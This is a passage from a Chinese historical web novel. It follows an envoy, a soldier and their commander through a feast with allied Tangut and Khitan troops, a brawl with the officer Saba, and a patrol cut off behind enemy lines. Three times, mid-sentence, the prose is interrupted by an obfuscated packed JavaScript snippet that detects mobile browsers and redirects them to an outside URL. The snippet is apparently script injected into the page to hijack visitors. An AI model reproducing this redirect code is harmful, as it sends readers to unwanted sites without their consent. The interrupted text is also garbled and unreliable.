“我们和藩兵合兵一处,乱得很,里面好多军衔名字我都搞不明白,拉帮结派的,”魏无功说:“你脑子好用,还是多在行营帮帮团练吧,他快愁死了。” “啧,这句还差不多……”李在宥琢磨过味儿来了。沈仓大概率是受了排挤,被故意刁难。论理,镇戍军军纪严明,能打能抗,沈仓曾经也是禁军出来的,怎么也不该和藩兵搅在一起。 “那你这趟岂不是很危险?”李在宥戳了一下他的后背问。 “你这话说的,”魏无功回头:“我哪趟不危险……” 突然,边上窜出个黑影,见了魏无功就扑过来,李在宥定睛一看,居然是之前他们带去找回鹘人的大黑狗。 “大黑,坐下,别舔!”魏无功被大黑狗扒拉着肩膀,怼着脸一顿乱舔,“你原主人是虐待你了吗,喂了顿肉激动成这样……” “这狗被你留下了?”李在宥也凑过去摸了摸狗头。 “嗯呐,团练看可能有用就给留下了,很粘人的。”魏无功终于从狗舌头下脱身,拿袖子疯狂蹭着满脸的口水。 李在宥看着他,其实抛开之前的嫌隙,凭良心说,魏无功长得还是挺好看的,性格也还可以,有姑娘喜欢也不奇怪。 “那个,”李在宥干咳两声:“我正式跟你说,你可别惦记赵元贞。” “不是……谁惦记了,”魏无功无语:“你有病吧!” “你要不别吃元宵了,吃点茯苓饼去去火吧!”他一边说一边把李在宥往前边儿营帐里推:“沈团练那里有,快去快去!” 李在宥被他往前搡着,回头有点想乐。他知道自己有点荒唐,但是有些事情还是提前说的好。 “我没别的意思,就是防患于未然,”李在宥说:“主要是赵元贞她不能嫁人,这个算是云昭阁的规矩。” “这什么破规矩?”魏无功随口问。不过这也解释了很多他之前的疑虑,公主确实看起来不像是有家室的,但是出来抛头露面好像又没什么忌讳,原来是绑了别的家规。 “还不是因为老子但凡遇上点儿好东西就都想着留给自己儿子,没办法才想的损招儿,”李在宥撇撇嘴:“法尧禅舜嘛……” 云昭阁主人不能结婚的规矩老早就定下了,为的就是革除千百年来家传的弊端,用信念取代任何技术私有的可能,是一种机制上先进,也是一种个人上的残忍。他有些话不方便说:有时候会有点担心赵元贞对男的没兴趣,但是也会怕她真喜欢上哪个男的。不过赵元贞七窍玲珑心,其实也不是不明白他的意思。 魏无功就不一样了,他没有赵元贞的城府,有些话还是先说开了好,免得万一后知后觉有了心思,星火燎原,就不好掐灭了。也算是为了他好吧,反正李在宥是这么想的。 “这规矩定的,”魏无功想了一下,白话他说:“可得把你忙坏了吧,见个人凑上去就要连忙敲打一下。” “嘿……”小玩意儿不仅不领情反而奚落他,李在宥在心里又默念了好几遍“当爹的不跟儿子计较”,跟着他走进了沈仓的议事厅。 大黑先一步“哒哒哒”跑进去扑沈仓。沈仓正在看沙盘,被它打扰,敷衍地搓了一下狗脑袋。大黑见他没有和自己玩的意思,老老实实蹲在脚下,没再出声,只留一个尾巴在屁股上甩得啪啪响。 李在宥冲他抱拳,将公主的差事交了,跟魏无功一起凑上去看战况。 沙盘上,除了粗糙绘制的山河走势,还竖着几个小小的旗帜,河北敢战营主要对着的主力军还是郭旗。 “见不到张定钧不是坏事,”沈仓瞥了一眼两人略有些失望的神色:“以咱们现在的实力,对上他不是自讨苦吃嘛。” “也是,”魏无功点点头,大拇指指了指边上的李在宥:“喏,给你找了个帮手。” “哟,那感情好,”沈仓抬头,看着李在宥笑笑说:“就是行营条件不好,要苦一苦使臣了。” “不苦不苦,您同意我去就行,”李在宥没想到沈仓答应如此之快,他都没开始求呢,于是欢欢喜喜说:“我肯定不添麻烦!” “不不不,反倒是我这边先要麻烦,”沈仓说:“我和刘宣抚使在京中就有些不对付,没想到这回正撞上,扔了坨烫手的山芋给我。” “我听公主说云昭阁的人都能讲几种语言,你先看看这个,”沈仓递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124492|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他一本册子,上面是即将会师的藩将名册,他指着其中一个叫撒八的人说:“这人是出了名的泼皮,官话也不会讲,带兵的没人愿意和他打交道,到时候大概率要麻烦使臣在中间协调沟通。” “好说,”李在宥接过去看了一眼这人履历,契丹降将,有不少底下的武士劫掠村庄□□妇女盗掘坟墓的案底,可谓是十八班恶行样样精通,“看着跟蝗虫过境一样,”他说。 “可不是。无功啊,你脾气暴,眼里又揉不得沙子,会兵之初还是尽量以和为贵,”沈仓说:“当然了,如果有作风问题,该怎么办还是怎么办。” 魏无功点点头。他和沈仓有自己的默契,一个红脸一个白脸,沈仓身为主将有些事情不方便表态,他必要的时候会当一个刺儿头。好人交给沈仓去做,恶人他来演。毕竟拿人钱财替人消灾,只要钱给够,指桑骂槐含沙射影卸胳膊卸腿儿脑袋搬家,包满意的。 三人浅聊一阵,各自准备去了。 晚上,开拔前几人聚在一起吃饭,沈仓跟赵元贞汇报阿尔斯兰那边的情况。 “有点不大对头,”沈仓说:“那些回鹘人不见了。” “又不见了?”魏无功问。 “是,而且感觉这回不太一样,我说不好。”沈仓想了一会儿说:“以前不见,是怕生意被查抄,有意躲起来的。这次看着倒感觉是真撤了。”下人回报,阿尔斯兰和他的教徒们走得干干净净,据点值钱的家当一件不留,大有一去不复返的架势。 “是怕打仗波及吗?”李在宥放下筷子看着他。 “也不是。论理,他们是发战争财的,羌酒、烟叶都是仗打得越凶卖的越好,”沈仓说:“再说阿尔斯兰有张定钧庇护,这会儿正是立功的时候,我感觉是中间出什么事儿,不过现在没有人手查。” “给沈大哥添麻烦了,您还是前线的事儿为主,后面云昭阁安排人查,”赵元贞说:“金人那边有什么动静吗?” “暂时没消息。”沈仓摇摇头。 赵元贞看了眼李在宥,李在宥点头回应,把这件活儿也揽下了。 “我跟童相、刘宣抚他们也说不上话,”末了,赵元贞补了一句:“可惜了,坐在后面吃干饭帮不上忙。” “哪里的话,您不是把使臣都借我了嘛,我还没道谢。”沈仓笑笑,说:“不过……还有个事儿,真得腆个老脸再麻烦您。” “这次负责粮草转运的使臣,是梁公公的门生,我又是禁军旧部……” “明白了,”沈仓话没说完就被赵元贞接了过去。梁公公和童相也是貌合神离,虽都是宦官出身,暗地里却叫着劲,这次估计不会叫前军效用军功挣得太容易。粮草是前军的性命所系,赵元贞肯定要管。“兹事体大,我能打得了招呼的地方,绝对不能再让沈大哥受委屈。” “有劳公主,”沈仓双手抱拳举过头顶:“多谢,多谢了!” 24.夜宴 “辇真……纥列,纥……纥……” “你要吐痰呢!” 行营里,三个人笑作一团。李在宥在会兵前,紧急培训沈仓和魏无功搞明白这些藩官的名字。但是有些藩名带弹舌,南方长大的沈仓死活念不出来。 魏无功倒是很快掌握了这种发音方法,在沈仓面前非常嘚瑟,绕口令似的念了一串儿。 “啧,你这是血统作弊……”沈仓十分不服。 随着慢慢熟稔,三个人也不再刻意敬语相称,这会儿聚在一起,一边烤着火,一边聊着不同胡羌的风俗习惯。李在宥照例发挥自己的说书本领,专挑些志怪猎奇的讲,大晚上的,给几个人还聊兴奋了。 “契丹人崇尚天地有灵,死后不仅能葬在土里,有些还葬在树上,最奇怪的一种是做成干尸,把血放干净,内脏掏空,塞上各种香料、盐矾,脸上扣个青铜面具……” “等会儿等会儿等会儿,”魏无功艰难地咽下一大口番薯,说:“还加盐啊,那不跟腌肉一样了吗?” “嘿嘿,你猜对咯,还真就是一个原理,”李在宥笑着说:“传说啊,耶律德光(辽太宗)死的时候是个大夏天,但是尸体要臭了,一帮大臣们马车在半道上不知道该怎么办,这时候一个厨子出了个主意,‘要不把咱皇帝做成羓吧’,这个所谓的‘羓’就是腊肉,后来为了好听,免得说把皇帝老爷当牲畜处理,特意起了个名字叫‘帝羓’……” “听起来好像也并没有好到哪里去……”沈仓摇摇头。 “这还不是最怪的呢,据我所知,契丹人还有个节日叫‘放偷日’,传说正月里挑一天出来,偷东西不算犯法,家家户户都敞开门,大明大放点上灯互相抢,还不许急眼……” “什么都能偷吗?”沈仓问。 “什么都能,什么瓜果蔬菜、牛羊牲畜、金银珠宝……”李在宥贱兮兮挤了挤眼睛:“背个媳妇儿回去也行呢。” “我去,这么狂野?”魏无功瞪大了眼睛,“那女孩儿家不闹?” “也不一定,契丹女人地位高,在家管账的,男子要是想娶媳妇儿,得先在女方家里干三年活儿,”李在宥看魏无功快啃到芯子了,趁他愣神一把抢了他的番薯,接着说:“但是这一天就不一样了,背上就能带走,反倒便宜了那些恋爱男女,直接就出去单过了。” “真能折腾……”沈仓笑笑,看着对面李在宥和魏无功为了个番薯芯子大打出手,“无功你让着点他,再烤一个就是了。” “凭什么是我让他啊,”魏无功对沈仓拉偏架表示不满,李在宥好歹还长他两岁呢:“抢俩了都!” “人一直在讲故事这不没腾出手嘛……” “他是用嘴讲又不是用手讲!” “就算是不用手,”沈仓也参与进他俩的互相扒拉,“你要不也少吃两个吧,一会儿胃要反酸的……” “青天大老爷啊,”魏无功一根根儿掰开李在宥的手指头,李在宥拧不过他,干脆直接噗了一口口水上去。“他要不抢我第一个,我犯得上吃第二个吗!”魏无功气得喊。 “谁让你跟小孩儿似的甜的留在最后头吃。”李在宥笑得要坐不直了。 “你也别笑话他,你这喷唾沫护食也没成熟到哪里去。”青天大老爷沈仓终于是说了句公道话。 几个人正玩玩闹闹,突然听见远处站岗的吹出一声军号,藩兵的大部队来了。 “摆酒,设宴!”沈仓冲着后勤兵吼了一嗓子。 “得嘞——”远处老胡头儿应了一声。 沈仓带着行营里的几个出营迎接,老远就看见打头的撒八,带着约五百轻骑兵,摇头晃脑的像是喝大了。两边分别是党项部和吐蕃部的首领,其中,党项一支的藩首格外引人瞩目,因为是一名年轻女性,叫梁阿兰。据说她是西夏流亡的贵族后裔,手下步骑混编,尤其其中一小股西域步跋极擅攀登,是攻城的好手。 不止他们仨,整个行营里的军官眼睛基本上都在梁阿兰身上,不过她本人似乎习惯了,对各种周遭的打量熟视无睹。一身青雀图腾银甲,□□深色黑水骏马,衬得整个人高大健美、一骑绝尘,在夜里如同一片沉静的雪原。 “你们看那个十几个穿驼毛软靴、腰挂铁索的,”沈仓小声跟边上的两人说:“那个就是传说中月夜飞渡关隘的步跋,这几天争取跟他们搞好关系,偷凿城寨可靠他们了。” 两人点点头,看着后勤兵摆上火盆子,架上羊肉和番薯,烧热米酒,欢迎远道而来的藩兵大部队。 夜宴刚开始的时候,气氛不算融洽。汉军和藩兵互相各自成群坐着,不太讲话,只有藩官和沈仓帐下的几个军官,象征性地互相问候,老北风呼呼一刮,也就不剩什么声音了。 魏无功照例是不太参与这些寒暄,低着头转着圈儿烤羊。李在宥挨着他坐着,看着羊腿滋滋冒油,忍不住吟诗一首:“烹羊宰牛且为乐,会须一饮三百杯……” “我跟你说大诗人,腿,一人一根,”魏无功提醒他:“等会儿往我羊腿上喷口水,你就洗干净脖子等死吧!” “啧,记仇,”李在宥说:“可惜啊,行营里只有粗盐,这要是赵元贞以前,肯定弄些上好的槐花蜜,再配上南海的细盐、巴蜀的青花椒,”他一边说一边感觉两个腮帮子有口水源源不断涌出来,“那个细盐,我跟你说,是粉红色的……” “打住!打住打住!”魏无功又想捂他的嘴:“就这条件,爱吃不吃!” “哎,”李在宥照例打开他的油手,悲伤地感慨一句:“由奢入俭难啊……” 魏无功见考得差不多了,扯了条腿给他,李在宥犹豫了一会儿,感觉腿根子那里也全是油,不怎么想接。“你切盘子里给我呗,”他说。 “你怎么不说我直接喂你嘴里呢!”魏无功无语得要死,李大小姐着实难得伺候。这时候,他突然感觉有视线往他这边过来,一扭头,是斜对面坐着的撒八。人和人之间是有磁场的,他直觉觉得撒八这一眼不怀好意,于是也不甘示弱地瞪了回去。撒八看他,突然笑了一嗓子,更让魏无功不爽。 “甭理他,”李在宥说,也没抬眼,“咱吃咱的,这才刚见面呢。” 魏无功嗯了一声,有点意外。大小姐一边吟诗,一边惦记着蜜烤全羊,居然还留了根神经盯周遭的动静。 本来安安静静大家各吃各的肉,一直到梁阿兰站起来,剖出一块羊肝,氛围彻底有了转机。 “沈将军!”她突然大喝一声,“敢不敢跟我共吃这口肝!” 梁阿兰笑盈盈的,一条长腿跨在凳子上,一手端着酒,甩着一头绿松石编的小辫儿,声音清脆,汉语说得字正腔圆,如果忽略她另一只手上那块血淋淋的鲜肝的话,画面还是很美好的。 沈仓听了,礼貌驱使他立刻站了起来,但是他并没有理解梁阿兰的意思。于是向李在宥投来一个疑问的目光。李在宥赶忙上前一步站到他侧后,小声跟他解释:“这可能是党项那边军队的一个风俗,两个人嘴对着嘴,共享猎物的肝脏,象征生命与灵魂的交融,类似于拜把兄弟,她这是在跟你表忠心。” “噢……”沈仓看着那块还在滴血的肝,艰难地咽了口口水,撂下一句“日后见了你嫂子别供我出去”,就义无反顾地上了。留下李在宥和魏无功在后面一片唏嘘,真男人就是果断。“老哥你可千万要吞下去啊,”李在宥在后面补了一句,“吐出来可就不礼貌咯。” 果然,一男一女嘴对嘴的场景就像一个引爆剂,一下子四下里看热闹的吆喝声就起来了。 梁阿兰叼着半块肝,将另一半用匕首挑了递到沈仓嘴边,目光灼灼地盯着他,似有些挑逗,但更多还是试探。沈仓定了定神,不能失了大将风度,冲她一拱手,脑袋凑了上去,点到为止碰了下嘴,赶紧把肝从中间咬断吞了。 一片起哄声中,梁阿兰也笑着一仰头,把另外半块豪气万丈地吞了。李在宥在后方看得龇牙咧嘴,仿佛是他自己吃了一样。“真狠呐,那么大一块……不能吃出毛病吧。”他小声嘟囔。 “好!吃了这口肝我们就是姐妹兄弟,”那头,梁阿兰高声说,递上了一杯酒给沈仓解腻,“沈仓今天起就是我的亲大哥,我的族人听你指挥!” 她这算是战前给其他藩将打了个样,沈仓十分感激,将酒接过一仰而尽:“梁军主巾帼不让须眉,佩服、佩服!沈仓定不辜负信任。” “诶,我听不懂汉人的眉毛还是眼睛,”梁阿兰说,声音带着酒后的沙哑,一只胳膊直接搭在沈仓肩上,竖着拇指指指自己:“叫我阿兰,我们是一家人。” 有了阿兰和沈仓共食肝在前,下面的军士也纷纷活跃了起来,一边学着党项人,一边也交流起来不同的风俗,有些还聚在一起跳起了胡舞,一时间言笑晏晏,好不热闹。看着以梁阿兰为首的几个党项人还在到处抓人吃生肝,魏无功小声说:“你还是找个地方躲一下吧,别到时候轮到你……”话音还没落下,阿兰果然走了过来,眼睛在两个人之间逡巡,李在宥瞬间感觉到一丝不妙:“你这个嘴真是开了光……” “你!”梁阿兰最终还是挑中了李在宥,一把抓了他的肩膀:“来一口!” 魏无功有点想拦,但是李在宥轻轻摆了摆手。他之前在云昭阁某本记载凉州蕃部的书里看过关于“共肝之盟”一类的习俗,生肝因为富含血液和营养,在有些原始信仰里是生命的象征。两人分食同一块肝,意味着共享同一条生命,结下生死与共的盟约,这样的情谊往往无法拒绝,拒绝意味着羞辱,所以他就算是一万个矫情,这口也必须得吞。 不过等真咬的时候他很惊喜地发现,他面前这块儿居然是烤过的,没那么生,顿时对这个梁阿兰生出十二万分敬意。当然,即便如此,半生不熟的肝脏对李在宥这种宫里长大的公子哥儿来说依旧有难度,吞下去是一回事,不吐出来又是另一回事了。 魏无功被阿兰的副官拦住,也有样学样吞了块半生肝,回头看李在宥那边的动静。只见他一脸难受要吐不吐的,一旁梁阿兰正叉着两手看他笑话。 魏无功哭笑不得,连忙递过去水壶。李在宥说不出话,慌忙接了,咕咚咕咚好几大口,勉强把嘴里奇怪的油脂感咽了下去,捂着嘴巴不敢喘气。 “你们俩很有意思,”末了,梁阿兰开口道:“像我家乡长不大的弟弟。” “好姐姐,”李在宥从善如流,冲她行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132139|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大礼,“那你以后可要记得罩着我们。”这个举动很讨巧,梁阿兰十分高兴地哈哈大笑两声,拍拍他的肩膀带着副官换了个地方敬酒。 “小嘴真甜,”人走了之后,魏无功给他背后顺着气:“走吧,现在可以找地方悄摸吐了”。不知道为什么老能感觉到撒八打量的目光围着他们这边转悠,在他找事儿之前,魏无功决定带着李在宥走远点儿。梁阿兰他们几个就算了,要是撒八冲过来给他分肝……画面多少有点不忍直视。 李在宥环视一圈,沈仓边上有人扶,看大家基本上都喝大了,东倒西歪的谁也顾不上谁,也就不再纠结,跟着魏无功先回了营帐休息。 大半夜睡得正香,突然听见一阵兵刀和叫骂。等李在宥彻底睁开眼,发现帐子里的魏无功早蹿出去了。 他套上鞋子跟出去看,声音应该是附近的骑兵营里传出来的。骑兵机动性好,帐篷都扎在外围,不出意外的话大概率是撒八闹事,毕竟能带骑兵的藩首也不多,就是不知道是跟汉人,还是跟党项人闹出的动静。 绕过几个军帐,在中间一片相对开阔的空地上,阿兰和撒八两边的族人对峙着,大有一触即发的架势。沈仓和魏无功他们几个汉家军拦在中间打圆场。 “怎么回事?”沈仓低声问梁阿兰,眼睛盯着撒八。 “他摸黑进我军帐。”梁阿兰一句话交代了,其中的意思不言自明。 沈仓叹了口气,“撒军主,这就是你的不是了。” 那边撒八叽里咕噜说了一堆,全是契丹话,边上的几个部族也装作没听见,不给翻译,好在李在宥及时赶到,在中间斡旋。 “撒将军,放偷日不是这么用的。”李在宥说。原来,撒八嚷嚷的是这一天契丹人做什么都可以,只是按照惯例进去偷东西。“就算是要尊重您的习俗,您也提前跟各位打好招呼不是。” “撒八,寻衅滋事按军令,你该挨板子。”魏无功冷冷盯着撒八:“骚扰女官,罪加一等。你是自己领,还是我帮你?” 撒八依旧是一副没睡醒的样子,装作喝大了,大意是说梁阿兰轻佻,到处跟男子亲嘴儿,举动之中暗示他去找她,但是他用词过于粗鲁,饶是李在宥见多识广,也是听得耳根火辣辣的,一时间没想好怎么翻译。魏无功瞪着李在宥,给了个“他说啥呢?”的眼神,李在宥叹了口气,小声凑他耳朵边说“太脏了没法儿翻译,丢不起那人”。 “我并没有邀请你。”梁阿兰突然接了一句。李在宥回头望她,发现她居然听得懂契丹话,而且情绪依旧平稳,后知后觉的发现应该再仔细查查她的来历。 “撒将军,”他决定接着打个圆场:“您会错了意思,这会儿赔个不是,大家也好早点休息不是?” 撒八眼睛在他和魏无功之间打了个转,叽里咕噜冲着他说了一堆,魏无功能看见李在宥的笑容逐渐僵在脸上。 “撒八在说什么?”魏无功和沈仓两个都望着他,李在宥依旧抿着嘴没做声。 “你行不行啊,”魏无功有点不耐烦,问:“是没听明白还是翻译不明白?” 李在宥看着他,有苦说不出,这话要翻译出来,魏无功那个脸皮肯定受不住。 “不是我不翻译,是……” “骂我呢是吧。”魏无功反应过来了。 李在宥想说“不,是骂我们两个”,但是又怕魏无功刨根问底骂的是什么,只好跟他挤挤眼睛囫囵过去。 “行了,”见撒八依旧瞎嚷嚷发酒疯,沈仓下了决断:“论理你该罚,但是今天酒是我摆的,我有意纵容在先,初次见面以和为贵,先存了你的板子,若还有下次,军法伺候。”他转头又跟阿兰说了声抱歉让她受委屈了,阿兰倒是不计较,不仅不介意沈仓息事宁人,反倒主动挥了挥手,示意自己的人先退下去。 阿兰身边那个沈仓死活念不出来的,名叫辇真纥列的副官有点不太乐意,觉得自家主人太过忍让,退开之前恶狠狠瞪了一眼撒八。没想到撒八不知道见好就收,反而不依不饶就地撒起泼来,说他是要和阿兰做好兄妹,但是党项人不讲诚信,把辇真气得恨不得给他剁了,当下就要抽刀,几个人才按住。 “别给脸不要脸,”魏无功脾气也上来了,往前踏了一步,人顶到撒八鼻尖,压着火说:“我数三声,你就滚。不然打到你滚。” 撒八见魏无功真有跟他过招的架势,终于闭了嘴。“行了,都散了,”沈仓发了话,“明天卯时军帐集合议事。”闹事的和看热闹的这才各自散开。 没想到,都转身走一半了,撒八突然在魏无功背后补了一句:“跟不长毛的男相公一个被窝,哪晓得女人的事。”这句话用的是汉语,魏无功听得真真切切,就是冲他来的。 不知道是戳中了哪根筋,魏无功懒得管沈仓什么“以和为贵”,直接一个暴起,上去对着他脸就是一拳。 刚刚平息下来的躁动,又在一阵惊呼声中开始了新一轮儿。李在宥看着不远处的撒八葱一样向后栽倒,安静的夜里,甚至能清晰听见皮骨咔嚓一响。魏无功的手劲他是知道的,那撒八的鼻梁骨怕是断了。 “完蛋,”李在宥心中感慨一声,“这梁子算是结下了。” 25.三座大山 一场闹剧黎明方歇。 沈仓没办法,闹到这个地步不打板子收不了场了。于是只好让撒八和魏无功各领二十个,打完直接去议事厅听调遣。 李在宥没找到机会跟他单独讲话,议事的时候看他神色还好,并没有多大的不服气。捏了捏兜里揣的宫里来的膏药,想着一会儿关照下他的腚。然而眼神交汇处,魏无功把脸撇过去了。 “金人往西北在推进,我们首要的是截住往南的这一支郭军,”沈仓在沙盘上运筹帷幄:“不能让他们和飞狐、灵丘的军队汇合去蔚州起势头,过了紫荆关辎重粮草进不去就不好打了。” 他给几个藩首讲解了附近重要的军事基地和山川地理特征,嘱咐他们现在深冬河水结冰,辽人的骑兵很占优势,不能贪功冒进等等事宜。想了一会儿,快结束的时候还是提了一嘴,“如果遇到赤焰军旗帜,不要恋战,速来回报。” 李在宥听了摇摇头,沈仓还是心眼儿太实诚了。若换做是他肯定不主动提这一茬,免得生事端。几块生肝下肚,人心依旧还是隔肚皮么不是。 天大亮了,营帐里人逐渐散去。李在宥一点点挪到魏无功边上,小心翼翼地问了句:“魏都头,屁股还疼不疼呀~” “废话,你挨二十板子试试,当然疼了。” 看魏无功好像没什么异状,李在宥放下心来,边掏出小膏药瓶子边说:“来来来,给你这乡下人用用宫里的好东西。”然而,他正要拉魏无功的手腕子想放他手上,被他躲了。 “你以后,注意着点儿。”魏无功看上去有点儿恼,沉着声音说:“没哪个正常男的拉拉扯扯的,这里是军营,你把你那些娘儿们唧唧的德行收好了。” 话说的有点重,魏无功说完也自己也意识到了,出人意料的是李在宥既没有发脾气也没有反驳,只是把手收了回去没说话。魏无功最后药也没拿,像是要避嫌一样,没等他,飞快地走了。 一整天,魏都头忙他的军务,李在宥自己待在帐子里研究回鹘人不见了的事情,谁也没搭理谁。到了晚上,沈仓喊李在宥去自己帐子里住的时候,他更是没犹豫,点了个头卷上自己的铺盖就过去了。好在沈仓很体己地什么也没问,给他留了最后一点脸面。 “头大咯,”沈仓看他闷不做声一个人待在军帐角落,决定找点话跟他说:“托公主的福,粮草倒是分毫不少,可是送来时却分了藩汉,两边车子不一样。” “这不挑事儿嘛,”李在宥皱着眉头接了一句:“这撒八那样的肯定得闹。” “是啊,所以我让老胡头儿给扣下了,重新均分了发吧。”沈仓叹口气:“一多半都是几年前的陈米。你以前怕是没吃过这种苦吧。” “嗯呐。”李在宥答应了一句。心说岂止是没吃过这种苦,也没受过这等子闲气。 “他们明天出去,多久回得来?” “快则三五日,慢的话半月也正常,”沈仓说:“现在是侦查骑兵先行,去寻辽军的踪迹,如果无功顺利找到了地方大部队,那就是正儿八经开打,时间就不好说了。” 李在宥点了点头,没有再说什么,合衣睡下了。 三天后,魏无功派人带着简图回来报,辽军找到了。 沈仓一声令下,大部队正式开拔。 李在宥得空的时候,也会去沈仓那里听听战况。梁阿兰的步跋子据说这次立了大功,猿猱一般飞渡城寨,让前线的战役推进异常顺利。真正拉胯的还是后方粮草,眼见得敢战营捷报频传,后方辎重押运速度却明显慢了下来。沈仓每天急得来回踱步,后头的老爷们还忙着新旧党争。从赵元贞的信上看,她也是有心无力,恨不得自己去拉车子。 不过,随着三方势力相交,李在宥的在查的事情倒是有了些眉目。金人似乎在暗中抓捕回鹘人,这或许是他们在前线集体消失的直接原因。只是,回鹘人卖烟也不是一天两天了,金人这个时候突然动作,一定还有更深层次的原因。 李在宥照例在案头写信,让赵元贞从大面儿上打听打听赤焰军的情况和金军的形势。眼睛无意中划过没人要的小瓶子,盘算着已经过去了八天了,反倒是一路冲锋在前的魏无功那边没什么消息。 “在宥啊,在宥!”沈仓急急忙忙进来喊他:“过来帮我看看这个怎么回。” 李在宥放下笔,起身迎他。河北敢战营势头正盛,这时候却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137473|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接到宣抚使的调令,让他们转头去支援涿州。永定河一带,禁军连战连败,若再往后退,前方幽州将孤立无援,把背后整个华北腹地皆尽暴露。华北平原万亩良田,一马平川,无险可守,若是开了这个口子,北方的铁骑便能长驱直入直抵京城。 轮战略,这样也说得过去,但是敢战营从会师到现在,东西两头长距离奔袭,从战术上来讲要吃大亏。等沈仓部队赶到,可能战机已失,部队也已成疲敝之师,以藩兵这种步骑混编的素质,在平原上对上辽军精锐骑师,等同于羊入虎口。更何况西北方的郭师如果趁机袭击后方粮草,那敢战营可谓是前狼后虎、腹背受敌。 “等我们跑垮了腿,辽人直接以逸待劳一并收了去,”沈仓气不过,也不再客气,直接破口大骂:“姓刘的是怕我挣的军功太多了吗?仗打不明白,平衡之术倒是一套又一套。” “从这里到永定河,步兵拿腿走至少四天,这还不算得先从前线撤回来集结的时间……”李在宥也没什么特别好的办法,只好说:“那只能拖了,至少先稳住自己的脚跟子。往好处想,兴许走到一半,还有其他支援陆续来了。” “唉,”沈仓重重一叹:“也只能这样了。” 涿州支援事宜,其实犯不着这么急者动沈仓的兵,奈何“将从中御”,不得不行。拱卫京师事大,也不能指望上头领兵的考虑什么战略战术了,肯定是把能拉上的武装都齐齐填将过去。 李在宥看着他殚精竭虑的样子,心里也十分难受。沈仓身上背着三座大山:上有猜忌多疑的宣抚使,后面是大搞党争的粮草监故意拖延,身边还有互不信任的藩兵将领,让他实际作战过程处处受制,还得同时抗住辽军的压力和朝廷的诘问。只能暗中祈祷退兵集结一气呵成,再不出什么幺蛾子。 然而,俗话说,屋漏偏逢连夜雨。元宵当天,沈仓刚下集结令,坏消息就传来了。那名李在宥曾经安慰过的斥候,浑身湿透带伤回报,魏无功的一支小队,在前线陷进去了,失去了联系。 据他说,撤军的时候,魏都头无意中发现撒八叛乱,带着人追过去了,结果好巧不巧,撞见了不知从哪里冒出来的,那片赤色的旌幡…… 26.元宵的血信 魏无功在冻土上沉默行进,马蹄包着麻布,銮铃摘下,呼吸的白雾在空气中起伏。心里想着前几日的事情。 自打那天冲李在宥发了通无名火,他们就再也没讲过话。如今他屁股坐在马背上,隐约有些不舒服,想着当时至少应该把药拿了的。 前面一阵骚动打断了他的发呆,是斥候带了个舌头(俘虏)回来。 “都头,前面紫荆山谷,就是辽人的大本营。”斥候说。 “具体位置你确认了吗?” “亲眼看到了。” “好,杀了。”魏无功说。 斥候也不啰嗦,手起刀落,在雪地里划过一道血红的弧线,舌头人头落地。然而,血泊里,令人不安的细闪在阳光下一晃而过。 “等等,你确定你看到的是郭旗?”魏无功皱着眉头问。 “我确认!”没人比斥候更怕赤焰军了,他反复确认了好几遍,是郭药师的队伍。 “都留点儿神。”魏无功说了一句,带着队伍往河对面的小山坡上靠。 中午的时候,魏无功趴在雪坡上,睫毛结霜,盯着下方山谷里辽军的造饭营火,默默估算兵力。花了好几天,总算是找到了这一小股流窜的辽军,是时候回报沈仓了。 返程的时候,魏无功感觉到了不对劲。他们这一支小队往北比较深,按理说这会儿应该会有传令兵在中间接应,但是走到临近大部队扎营不到二十里的地方,还是没看到一个人。 突然,穿过一片深林,他听见一声口哨。 “魏都头!”一个党项兵在树上喊他,魏无功抬头,是辇真纥列。 “你爬这么高干什么?”那是一片高度超过六米的原始森林,等辇真下来的时候,魏无功才发现,他身上有伤。“这怎么搞的?” “撒八把传令的兵杀了,被阿兰发现,让我来找你。”辇真搭着他的手上了马说:“我也差点儿交代了。” 辇真和撒八的手下遭遇,寡不敌众。好在他有步跋的功夫在身上,蹿上高树,用密密匝匝的枝丫掩护,箭矢也打不精准。 “他投辽?”魏无功有点疑惑。东边的金兵都快打到辽上京去了,虽说撒八也算是契丹出身,但是这时候投敌多少有点太不划算了。 “不是,是沈将军下了撤退令,趁着换防的功夫,他要搞事。” “操,”魏无功气得一抽马屁股:“老子这就去宰了他。” 没想到,撒八如此不识大体,单纯是夜宴受了气,想要报复他。他的军队孤军北上去探敌人虚实,若不是阿兰留了个冒死传信的辇真,这会儿说不定返程直接迷失在雪地里,和大本营失去联系。 更可气的是,撤退换防的秩序对于军队来说是至关重要,如果没能够令行禁止,很容易多军争道,辎重堵塞,叫敌人从后方包了饺子。撒八这是拿大军的性命泄私人的怨愤。 魏无功不想再忍,势必要替敢战营清理门户。 